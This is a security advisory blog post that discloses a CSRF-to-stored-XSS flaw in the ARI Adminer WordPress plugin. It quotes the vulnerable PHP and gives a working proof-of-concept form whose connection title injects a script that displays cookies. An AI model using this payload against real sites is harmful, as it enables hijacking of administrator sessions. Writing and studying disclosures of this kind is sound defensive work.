Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in ARI Adminer
The WordPress plugin ARI Adminer was recently flagged by monitoring we do due to a possible security issue, though what was flagged turned out to not be an issue. Seeing as database administration tools introduce increased security risk over the average plugin we did a little further checking over the plugin to see if it had any obvious security issues and we found that it contains a vulnerability. What we found was that the functionality to add a new database connection lacks protection against cross-site request forgery (CSRF), though unlike some recent vulnerabilities where that problem was the tip off the iceberg toward a more serious issue, this time it looks like it only would allow an attacker to cause malicious JavaScript code to be included on some of the plugin’s admin pages.
In looking over the underlying code what we found was that it would be hard to actually follow how it works, which is a reminder that just looking at code can be a bad way to effectively identify security issues. That is something we are well aware from our security reviews of plugins, where we combine both checks of the underlying code as well as accessing functionality in a web browser.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Details
The plugin makes the function ajax_dispatcher() accessible through WordPress’ AJAX functionality to those logged in to WordPress as well as those not logged in:
27 28 | add_action( 'wp_ajax_' . $ajax_postfix, function() { $this->ajax_dispatcher(); } ); add_action( 'wp_ajax_nopriv_' . $ajax_postfix, function() { $this->ajax_dispatcher( true ); } ); |
When you send a request to create a new database connection, as shown in the proof of concept below, that will lead to the function process_request() in the file /includes/controllers/connections/class-ajax-save.php to be run:
9 10 11 12 13 14 15 16 17 18 19 20 | protected function process_request() { if ( $this->options->nopriv || ! Helper::has_access_to_adminer() || ! Request::exists( 'connection' ) ) return false; $connection_data = stripslashes_deep( Request::get_var( 'connection' ) ); $connection_model = $this->model( 'Connection' ); $entity = $connection_model->save( $connection_data ); $is_valid = ! empty( $entity ); return $is_valid; } |
The function has_access_to_adminer() called there will check if the request is coming an Administrator or if the user has a capability that the plugin only provides to Administrators:
20 21 22 | public static function has_access_to_adminer() { return is_super_admin( get_current_user_id() ) || current_user_can( ARIADMINER_CAPABILITY_RUN ); } |
The rest of the code in the function will take user input from the input “connection” and pass it along to be saved without it being sanitized. Since Administrator normally have the “unfiltered_html” capability, abusing that to set connection settings malicious JavaScript code wouldn’t normally be a vulnerability, but since there is not protection against CSRF, an attacker could cause them to do that without intending it. As the proof of concept shows below, that will then be output without being escaped on admin pages.
Proof of Concept
The following proof of concept will cause an alert box with any available cookies to be shown when visiting the plugin’s main admin page, /wp-admin/admin.php?page=ari-adminer-run-adminer, when logged in as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=ari_adminer" method="POST"> <input type="hidden" name="ctrl" value="connections_save" /> <input type="hidden" name="connection[title]" value='"><script>alert(document.cookie);</script>' /> <input type="hidden" name="connection[type]" value="server" /> <input type="hidden" name="connection[host]" value="" /> <input type="hidden" name="connection[db_name]" value="test" /> <input type="hidden" name="connection[user]" value="" /> <input type="hidden" name="connection[pass]" value="" /> <input type="hidden" name="connection[connection_id]" value="0" /> <input type="submit" value="Submit" /> </form> </body> </html>
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.